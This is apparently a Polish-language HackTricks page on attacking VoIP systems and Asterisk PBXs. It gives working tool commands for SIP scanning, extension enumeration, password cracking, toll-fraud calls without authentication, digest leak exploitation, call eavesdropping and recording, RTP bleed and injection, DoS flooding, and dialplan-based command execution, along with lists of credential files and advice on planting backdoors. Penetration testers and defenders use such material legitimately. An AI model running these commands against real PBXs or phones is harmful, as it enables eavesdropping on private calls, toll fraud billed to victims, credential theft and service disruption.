Pentesting VoIP

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje o VoIP

Aby zacząć uczyć się, jak działa VoIP, sprawdź:

pageBasic VoIP Protocols

Wyliczanie VoIP

Numery telefonów

Jednym z pierwszych kroków, które może podjąć Red Team, jest wyszukiwanie dostępnych numerów telefonów do kontaktu z firmą za pomocą narzędzi OSINT, wyszukiwarek Google lub przeszukiwania stron internetowych.

Po uzyskaniu numerów telefonów można użyć usług online do identyfikacji operatora:

Dzięki informacji, czy operator świadczy usługi VoIP, można zidentyfikować, czy firma korzysta z VoIP... Ponadto możliwe jest, że firma nie zatrudniła usług VoIP, ale korzysta z kart PSTN do podłączenia własnej centrali VoIP do tradycyjnej sieci telefonicznej.

Rzeczy takie jak automatyczne odpowiedzi lub muzyka zwykle wskazują na korzystanie z VoIP.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

Informacje OSINT

Jakiekolwiek inne narzędzia OSINT, które pomogą zidentyfikować używane oprogramowanie VoIP, będą przydatne dla Red Teamu.

Wyliczanie sieci

  • nmap jest zdolny do skanowania usług UDP, ale ze względu na ilość skanowanych usług UDP, jest bardzo wolny i może nie być zbyt dokładny w przypadku tego rodzaju usług.

  • svmap z SIPVicious (sudo apt install sipvicious): Zlokalizuje usługi SIP w podanej sieci.

  • svmap jest łatwy do zablokowania, ponieważ używa User-Agenta friendly-scanner, ale można zmodyfikować kod z /usr/share/sipvicious/sipvicious i go zmienić.

# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • sipscan.py z sippts: Sipscan to bardzo szybkie narzędzie do skanowania usług SIP przez UDP, TCP lub TLS. Wykorzystuje wielowątkowość i może skanować duże zakresy sieci. Pozwala łatwo określić zakres portów, skanować zarówno TCP, jak i UDP, używać innej metody (domyślnie używa OPTIONS) oraz określać inny User-Agent (i więcej).

./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:

Metasploit jest jednym z najpopularniejszych narzędzi do testowania penetracyjnego, które jest szeroko stosowane w środowiskach VoIP. Metasploit zapewnia wiele modułów i exploitów, które mogą być wykorzystane do atakowania i testowania zabezpieczeń systemów VoIP. Narzędzie to umożliwia również automatyzację procesu testowania penetracyjnego, co przyspiesza proces identyfikacji podatności i ich wykorzystania. Metasploit jest niezwykle potężnym narzędziem, które może być wykorzystane zarówno przez hakerów, jak i przez profesjonalistów ds. bezpieczeństwa do testowania i zabezpieczania systemów VoIP.

auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Dodatkowe wyliczanie sieciowe

PBX może również ujawniać inne usługi sieciowe, takie jak:

  • 69/UDP (TFTP): Aktualizacje oprogramowania

  • 80 (HTTP) / 443 (HTTPS): Zarządzanie urządzeniem za pomocą sieci

  • 389 (LDAP): Alternatywne przechowywanie informacji o użytkownikach

  • 3306 (MySQL): Baza danych MySQL

  • 5038 (Manager): Umożliwia korzystanie z Asterisk z innych platform

  • 5222 (XMPP): Wiadomości za pomocą Jabbera

  • 5432 (PostgreSQL): Baza danych PostgreSQL

  • I inne...

Wyliczanie metod

Można znaleźć dostępne metody do użycia w PBX za pomocą sipenumerate.py z sippts

python3 sipenumerate.py -i 10.10.0.10 -r 5080

Wyliczanie rozszerzeń

Rozszerzenia w systemie PBX (Private Branch Exchange) odnoszą się do unikalnych wewnętrznych identyfikatorów przypisanych do poszczególnych linii telefonicznych, urządzeń lub użytkowników w organizacji lub firmie. Rozszerzenia umożliwiają efektywne przekierowywanie połączeń wewnątrz organizacji, bez konieczności posiadania indywidualnych zewnętrznych numerów telefonów dla każdego użytkownika lub urządzenia.

  • svwar z SIPVicious (sudo apt install sipvicious): svwar to darmowe narzędzie do skanowania linii rozszerzeń SIP PBX. W koncepcji działa podobnie do tradycyjnych wardialerów, próbuje zgadywać zakres rozszerzeń lub podaną listę rozszerzeń.

svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • sipextend.py z sippts: Sipexten identyfikuje rozszerzenia na serwerze SIP. Sipexten może sprawdzać duże sieci i zakresy portów.

python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
  • metasploit: Możesz również wyliczać rozszerzenia/nazwy użytkowników za pomocą metasploita:

auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX to narzędzie do przełamywania haseł metodą brute-force dla protokołu Inter Asterisk Exchange (IAX). enumIAX może działać w dwóch różnych trybach: Sekwencyjne Próby Odgadywania Nazwy Użytkownika lub Atak Słownikowy.

enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

Ataki na VoIP

Brute Force hasła

Po odkryciu PBX i niektórych rozszerzeń/nazw użytkowników, Zespół Czerwony może spróbować uwierzytelnić się za pomocą metody REGISTER do rozszerzenia, używając słownika popularnych haseł do przeprowadzenia ataku brute force na uwierzytelnienie.

Należy zauważyć, że nazwa użytkownika może być taka sama jak rozszerzenie, ale ta praktyka może się różnić w zależności od systemu PBX, jego konfiguracji i preferencji organizacji...

Jeśli nazwa użytkownika nie jest taka sama jak rozszerzenie, będziesz musiał ustalić nazwę użytkownika, aby przeprowadzić atak brute force.

  • svcrack z SIPVicious (sudo apt install sipvicious): SVCrack pozwala na złamanie hasła dla określonej nazwy użytkownika/rozszerzenia na PBX.

svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • sipcrack.py z sippts: SIP Digest Crack to narzędzie do łamania uwierzytelnienia Digest w protokole SIP.

python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt

Podsłuchiwanie VoIP

Jeśli znajdziesz sprzęt VoIP w otwartej sieci Wi-Fi, możesz podsluchać wszystkie informacje. Ponadto, jeśli jesteś w bardziej zamkniętej sieci (podłączony przez Ethernet lub chronioną sieć Wi-Fi), możesz przeprowadzić ataki MitM, takie jak ARPspoofing między PBX a bramką w celu podsłuchiwania informacji.

Wśród informacji sieciowych możesz znaleźć dane uwierzytelniające do zarządzania sprzętem, rozszerzenia użytkowników, nazwy użytkowników, adresy IP, nawet zaszyfrowane hasła i pakiety RTP, które można odtworzyć, aby słuchać rozmowy, i wiele więcej.

Aby uzyskać te informacje, możesz użyć narzędzi takich jak Wireshark, tcpdump... ale specjalnie stworzone narzędzie do podsłuchiwania rozmów VoIP to ucsniff.

Zauważ, że jeśli w komunikacji SIP używane jest TLS, nie będziesz w stanie zobaczyć komunikacji SIP w czystej postaci. To samo będzie miało miejsce, jeśli używane są SRTP i ZRTP, pakiety RTP nie będą w czystym tekście.

Dane uwierzytelniające SIP

Sprawdź ten przykład, aby lepiej zrozumieć komunikację SIP REGISTER i dowiedz się, jak są wysyłane dane uwierzytelniające.

  • sipdump & sipcrack, część sipcrack (apt-get install sipcrack): Te narzędzia mogą wydobyć z pcap uwierzytelnienia digest w protokole SIP i przeprowadzić atak bruteforce na nie.

sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • siptshar.py, sipdump.py, sipcrack.py z sippts:

  • SipTshark wyodrębnia dane protokołu SIP z pliku PCAP.

  • SipDump wyodrębnia uwierzytelnienia SIP Digest z pliku PCAP.

  • SIP Digest Crack to narzędzie do łamania uwierzytelnienia Digest w protokole SIP.

python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt

Kody DTMF

Nie tylko dane uwierzytelniające SIP mogą być znalezione w ruchu sieciowym, możliwe jest również znalezienie kodów DTMF, które są używane na przykład do dostępu do poczty głosowej. Możliwe jest wysłanie tych kodów w wiadomościach SIP INFO, w formacie audio lub wewnątrz pakietów RTP. Jeśli kody znajdują się w pakietach RTP, można je wyciąć z tej części rozmowy i użyć narzędzia multimo do ich wyodrębnienia:

multimon -a DTMF -t wac pin.wav

Darmowe połączenia / Błędy konfiguracji połączeń Asterisk

W Asterisku istnieje możliwość zezwolenia na połączenie z określonego adresu IP lub z dowolnego adresu IP:

host=10.10.10.10
host=dynamic

Jeśli podany jest adres IP, host nie będzie musiał wysyłać żądań REGISTER co jakiś czas (w pakiecie REGISTER wysyłany jest czas życia, zazwyczaj 30 minut, co oznacza, że w innym scenariuszu telefon będzie musiał się REJESTROWAĆ co 30 minut). Jednakże, musi mieć otwarte porty umożliwiające połączenia z serwerem VoIP w celu odbierania połączeń.

Aby zdefiniować użytkowników, można ich zdefiniować jako:

  • type=user: Użytkownik może tylko odbierać połączenia jako użytkownik.

  • type=friend: Możliwe jest wykonywanie połączeń jako peer i odbieranie ich jako użytkownik (używane z rozszerzeniami).

  • type=peer: Możliwe jest wysyłanie i odbieranie połączeń jako peer (SIP-trunks).

Możliwe jest również ustanowienie zaufania za pomocą zmiennej insecure:

  • insecure=port: Umożliwia połączenia peer, które są uwierzytelniane przez IP.

  • insecure=invite: Nie wymaga uwierzytelniania dla wiadomości INVITE.

  • insecure=port,invite: Oba.

Kiedy używane jest type=friend, wartość zmiennej host nie będzie używana, więc jeśli administrator błędnie skonfiguruje SIP-trunk używając tej wartości, każdy będzie mógł się do niego podłączyć.

Na przykład, taka konfiguracja byłaby podatna na ataki: host=10.10.10.10 insecure=port,invite type=friend

Darmowe połączenia / Błędy konfiguracji kontekstu w Asterisk

W Asterisku kontekst to nazwany kontener lub sekcja w planie wybierania, który grupuje powiązane rozszerzenia, akcje i reguły. Plan wybierania jest podstawowym komponentem systemu Asterisk, ponieważ definiuje sposób obsługi i kierowania przychodzących i wychodzących połączeń. Konteksty są używane do organizacji planu wybierania, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.

Każdy kontekst jest zdefiniowany w pliku konfiguracyjnym, zwykle w pliku extensions.conf. Konteksty są oznaczane przez nawiasy kwadratowe, a nazwa kontekstu jest zamknięta w nich. Na przykład:

csharpCopy code[my_context]

W kontekście definiuje się rozszerzenia (wzorce numerów wybieranych) i przypisuje im szereg działań lub aplikacji. Te działania określają, w jaki sposób jest przetwarzane połączenie. Na przykład:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Ten przykład przedstawia prosty kontekst o nazwie "my_context" z rozszerzeniem "100". Gdy ktoś wybierze numer 100, połączenie zostanie odebrane, odtworzony zostanie komunikat powitalny, a następnie połączenie zostanie zakończone.

To jest inny kontekst, który umożliwia wybieranie dowolnego innego numeru:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Jeśli administrator definiuje domyślny kontekst jako:

[default]
include => my_context
include => external

Każdy będzie mógł używać serwera do dzwonienia na dowolny numer (a administrator serwera będzie płacił za połączenie).

Co więcej, domyślnie plik sip.conf zawiera allowguest=true, więc dowolny atakujący bez uwierzytelnienia będzie mógł dzwonić na dowolny numer.

  • sipinvite.py z sippts: Sipinvite sprawdza, czy serwer PBX pozwala nam na wykonywanie połączeń bez uwierzytelnienia. Jeśli serwer SIP ma nieprawidłową konfigurację, pozwoli nam na wykonywanie połączeń do zewnętrznych numerów. Może również umożliwić nam przekierowanie połączenia na drugi zewnętrzny numer.

Na przykład, jeśli twój serwer Asterisk ma złą konfigurację kontekstu, możesz akceptować żądania INVITE bez autoryzacji. W tym przypadku atakujący może dzwonić, nie znając żadnego użytkownika/hasła.

# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444

Darmowe połączenia / Źle skonfigurowane IVRS

IVRS oznacza Interactive Voice Response System, technologię telefoniczną, która umożliwia użytkownikom interakcję z zautomatyzowanym systemem za pomocą głosu lub klawiszy. IVRS służy do budowy automatycznych systemów obsługi połączeń, które oferują różne funkcje, takie jak udzielanie informacji, kierowanie połączeń i zbieranie danych od użytkowników.

Typowy system IVRS w systemach VoIP składa się z:

  1. Komunikatów głosowych: Wstępnie nagranych wiadomości audio, które prowadzą użytkowników przez opcje i instrukcje menu IVR.

  2. Sygnalizacji DTMF (Dual-Tone Multi-Frequency): Sygnały generowane przez naciśnięcie klawiszy na telefonie, które służą do nawigacji po menu IVR i wprowadzania danych.

  3. Kierowania połączeń: Przekierowywanie połączeń do odpowiedniego miejsca, takiego jak konkretne działy, agenci lub numery wewnętrzne, na podstawie danych wprowadzonych przez użytkownika.

  4. Zbierania danych od użytkowników: Pobieranie informacji od dzwoniących, takich jak numery kont, identyfikatory spraw lub inne istotne dane.

  5. Integracji z systemami zewnętrznymi: Połączenie systemu IVR z bazami danych lub innymi systemami oprogramowania w celu uzyskiwania dostępu do informacji, aktualizacji danych, wykonywania działań lub wywoływania zdarzeń.

W systemie Asterisk VoIP można utworzyć IVR za pomocą planu wybierania (plik extensions.conf) i różnych aplikacji, takich jak Background(), Playback(), Read() i inne. Te aplikacje umożliwiają odtwarzanie komunikatów głosowych, zbieranie danych od użytkowników i kontrolowanie przepływu połączenia.

Przykład podatnej konfiguracji

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Poprzedni przykład pokazuje, że użytkownik jest proszony o naciśnięcie 1, aby zadzwonić do jednego działu, 2, aby zadzwonić do innego działu, lub pełny numer wewnętrzny, jeśli go zna. Podatność polega na tym, że nie jest sprawdzana długość podanego numeru wewnętrznego, więc użytkownik może wprowadzić pełny numer wewnętrzny w czasie 5 sekund i zostanie on wybrany.

Wstrzyknięcie numeru wewnętrznego

Używając numeru wewnętrznego, takiego jak:

exten => _X.,1,Dial(SIP/${EXTEN})

Gdzie ${EXTEN} to numer wewnętrzny, który zostanie wybrany, gdy zostanie wprowadzone ext 101, oto co by się stało:

exten => 101,1,Dial(SIP/101)

Jednakże, jeśli ${EXTEN} pozwala na wprowadzanie czegoś innego niż liczby (jak w starszych wersjach Asteriska), atakujący mógłby wprowadzić 101&SIP123123123 aby zadzwonić pod numer telefonu 123123123. A to byłby wynik:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Dlatego też, połączenie do rozszerzenia 101 i 123123123 zostanie wysłane i tylko pierwsze z nich, które otrzyma połączenie, zostanie nawiązane... ale jeśli atakujący użyje rozszerzenia, które omija dopasowanie i nie istnieje, może wstrzyknąć połączenie tylko do wybranego numeru.

SIPDigestLeak

SIP Digest Leak to podatność, która dotyczy dużej liczby telefonów SIP, w tym zarówno sprzętowych, jak i oprogramowania IP, a także adapterów telefonicznych (VoIP do analogowego). Podatność ta umożliwia wyciek odpowiedzi uwierzytelniania Digest, która jest obliczana na podstawie hasła. Następnie możliwy jest atak offline na hasło, który pozwala odzyskać większość haseł na podstawie odpowiedzi na wyzwanie.

**Scenariusz podatności odnajdziesz tutaj**:

  1. Telefon IP (ofiara) nasłuchuje na porcie 5060 i akceptuje połączenia telefoniczne.

  2. Atakujący wysyła INVITE do telefonu IP.

  3. Telefon ofiary zaczyna dzwonić, a ktoś odbiera i rozłącza się (ponieważ nikt nie odbiera telefonu po drugiej stronie).

  4. Po rozłączeniu telefon ofiary wysyła BYE do atakującego.

  5. Atakujący wysyła odpowiedź 407, która wymaga uwierzytelnienia i wywołuje wyzwanie uwierzytelniania.

  6. Telefon ofiary odpowiada na wyzwanie uwierzytelniania w drugim BYE.

  7. Atakujący może wtedy przeprowadzić atak brute-force na odpowiedź na wyzwanie na swoim lokalnym komputerze (lub w sieci rozproszonej itp.) i zgadnąć hasło.

  • sipdigestleak.py z sippts: SipDigestLeak wykorzystuje tę podatność.

python3 sipdigestleak.py -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call umożliwia użytkownikowi sieci web (który na przykład może być zainteresowany produktem) wprowadzenie swojego numeru telefonu w celu otrzymania połączenia. Następnie zostanie wykonane połączenie z reklamą, a gdy użytkownik odezwie się przez telefon, zostanie połączony z agentem.

Wspólny profil Asterisk dla tego celu to:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Poprzedni profil umożliwia POŁĄCZENIE Z KAŻDYM ADRESEM IP (jeśli znane jest hasło).

  • Aby zorganizować połączenie, jak wcześniej określono, nie jest wymagane uprawnienie do odczytu, a jedynie uprawnienie do tworzenia w trybie zapisu.

Z tymi uprawnieniami każde IP, znając hasło, mogłoby się połączyć i wydobyć zbyt wiele informacji, takich jak:

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

Więcej informacji lub działań może być wymaganych.

Podsluchiwanie

W Asterisku możliwe jest użycie polecenia ChanSpy, wskazującego rozszerzenie(y) do monitorowania (lub wszystkie), aby podsłuchać rozmowy, które się odbywają. To polecenie musi być przypisane do rozszerzenia.

Na przykład, exten => 333,1,ChanSpy('all',qb) oznacza, że jeśli zadzwonisz na rozszerzenie 333, będzie ono monitorować wszystkie rozszerzenia, rozpoczynając nasłuchiwanie za każdym razem, gdy rozpocznie się nowa rozmowa (b) w trybie cichym (q), ponieważ nie chcemy na nią wpływać. Możesz przejść z jednej trwającej rozmowy do drugiej, naciskając *, lub oznaczając numer rozszerzenia.

Możliwe jest również użycie ExtenSpy, aby monitorować tylko jedno rozszerzenie.

Zamiast słuchać rozmów, można je nagrywać w plikach za pomocą rozszerzenia, takiego jak:

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

Połączenia zostaną zapisane w /tmp.

Możesz nawet zmusić Asterisk do wykonania skryptu, który ujawni połączenie po jego zamknięciu.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed

RTCPBleed to poważny problem związany z bezpieczeństwem, który dotyczy serwerów VoIP opartych na Asterisku (opublikowany w 2017 roku). Podatność ta umożliwia przechwycenie i przekierowanie ruchu RTP (Real Time Protocol), który przenosi rozmowy VoIP, przez dowolną osobę w Internecie. Dzieje się tak, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).

Proksy RTP próbują rozwiązać ograniczenia NAT wpływające na systemy RTC, przekazując strumienie RTP między dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o adresie IP i porcie RTP pobranych za pomocą sygnalizacji (np. SIP). Dlatego wiele proxy RTP wprowadziło mechanizm, w którym takie krotki IP i portu są automatycznie poznawane. Często jest to realizowane poprzez analizę przychodzącego ruchu RTP i oznaczanie adresu IP i portu źródłowego dla każdego przychodzącego ruchu RTP jako adresu, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem nauki", nie wykorzystuje żadnej formy uwierzytelniania. Dlatego atakujący mogą wysyłać ruch RTP do proxy RTP i otrzymywać ruch RTP przekazywany do prawowitych użytkowników rozmowy RTP. Nazywamy tę podatność RTP Bleed, ponieważ umożliwia atakującym otrzymywanie strumieni multimedialnych RTP, które są przeznaczone dla prawowitych użytkowników.

Innym interesującym zachowaniem proxy RTP i stosów RTP jest to, że czasami, nawet jeśli nie są podatne na RTP Bleed, akceptują, przekazują i/lub przetwarzają pakiety RTP z dowolnego źródła. Dlatego atakujący mogą wysyłać pakiety RTP, które pozwalają im wstrzykiwać swoje dane multimedialne zamiast prawowitych. Nazywamy ten atak wstrzykiwaniem RTP, ponieważ umożliwia wstrzykiwanie nieprawowitych pakietów RTP do istniejących strumieni RTP. Ta podatność może występować zarówno w proxy RTP, jak i w punktach końcowych.

Asterisk i FreePBX tradycyjnie używają ustawienia NAT=yes, które umożliwia omijanie uwierzytelniania ruchu RTP, co potencjalnie prowadzi do braku dźwięku lub jednostronnego dźwięku podczas rozmów.

Więcej informacji można znaleźć na stronie https://www.rtpbleed.com/

  • rtpbleed.py z sippts: Wykrywa podatność RTP Bleed, wysyłając strumienie RTP.

python3 rtpbleed.py -i 10.10.0.10
  • rtcpbleed.py z sippts: Wykrywa podatność na wyciek RTP, wysyłając strumienie RTP

python3 rtcpbleed.py -i 10.10.0.10
  • rtpbleedflood.py z sippts: Wykorzystuje podatność RTP Bleed, wysyłając strumienie RTP

python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
  • rtpbleedinject.py z sippts: Wykorzystuje podatność RTP Bleed, wysyłając strumienie RTP (z pliku audio)

python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav

RCE

W Asterisku w jakiś sposób udaje ci się dodać reguły rozszerzeń i je przeładować (na przykład poprzez skompromitowanie podatnego serwera zarządzającego siecią), możliwe jest uzyskanie RCE za pomocą polecenia System.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

Istnieje polecenie o nazwie Shell, które można użyć zamiast System do wykonania poleceń systemowych, jeśli jest to konieczne.

Jeśli serwer nie zezwala na użycie pewnych znaków w poleceniu System (jak w przypadku Elastix), sprawdź, czy serwer sieciowy pozwala na tworzenie plików w systemie (jak w przypadku Elastix lub trixbox) i użyj go do utworzenia skryptu backdoor a następnie użyj System do wykonania tego skryptu.

Interesujące lokalne pliki i uprawnienia

  • sip.conf -> Zawiera hasło użytkowników SIP.

  • Jeśli serwer Asterisk działa jako root, można przejąć kontrolę nad rootem.

  • Użytkownik root mysql może nie mieć hasła.

  • Może to być wykorzystane do utworzenia nowego użytkownika mysql jako backdoor.

  • FreePBX

  • amportal.conf -> Zawiera hasło administratora panelu sieciowego (FreePBX).

  • FreePBX.conf -> Zawiera hasło użytkownika FreePBXuser używane do dostępu do bazy danych.

  • Może to być wykorzystane do utworzenia nowego użytkownika mysql jako backdoor.

  • Elastix

  • Elastix.conf -> Zawiera kilka haseł w postaci zwykłego tekstu, takich jak hasło root mysql, hasło IMAPd, hasło administratora sieciowego.

  • Kilka folderów będzie należeć do skompromitowanego użytkownika asterisk (jeśli nie działa jako root). Ten użytkownik może odczytywać wcześniejsze pliki i kontrolować konfigurację, więc może spowodować, że Asterisk załaduje inne binarne pliki backdoorowane podczas wykonywania.

Wstrzykiwanie RTP

Możliwe jest wstrzyknięcie pliku .wav do rozmów za pomocą narzędzi takich jak rtpinsertsound (sudo apt install rtpinsertsound) i rtpmixsound (sudo apt install rtpmixsound).

Lub można użyć skryptów z http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ do skanowania rozmów (rtpscan.pl), wysyłania .wav do rozmowy (rtpsend.pl) i wstrzykiwania hałasu do rozmowy (rtpflood.pl).

Ataki typu DoS

Istnieje kilka sposobów próby przeprowadzenia ataku typu DoS na serwery VoIP.

  • sipflood.py z sippts: _SipFlood_ wysyła nieograniczoną liczbę wiadomości do celu

  • python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v

  • IAXFlooder: Atak DoS na protokół IAX używany przez Asterisk

  • inviteflood: Narzędzie do przeprowadzania ataku typu SIP/SDP INVITE flooding za pomocą UDP/IP.

  • rtpflood: Wysyła kilka poprawnie sformowanych pakietów RTP. Należy znać używane porty RTP (najpierw podsłuchać).

  • SIPp: Pozwala na analizę i generowanie ruchu SIP. Może być również używane do ataków typu DoS.

  • SIPsak: Szwajcarski nóż SIP. Może również być używany do przeprowadzania ataków typu SIP.

  • Fuzzery: protos-sip, voiper.

  • sipsend.py z sippts: SIPSend pozwala nam wysyłać niestandardowe wiadomości SIP i analizować odpowiedź.

  • wssend.py z sippts: WsSend pozwala nam wysyłać niestandardowe wiadomości SIP za pośrednictwem protokołu WebSockets i analizować odpowiedź.

Podatności systemowe

Najprostszym sposobem zainstalowania oprogramowania takiego jak Asterisk jest pobranie dystrybucji systemu operacyjnego, w którym jest on już zainstalowany, takich jak: FreePBX, Elastix, Trixbox... Problem z tymi dystrybucjami polega na tym, że po uruchomieniu administratorzy systemu mogą nie aktualizować ich ponownie, a z czasem zostaną odkryte podatności.

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated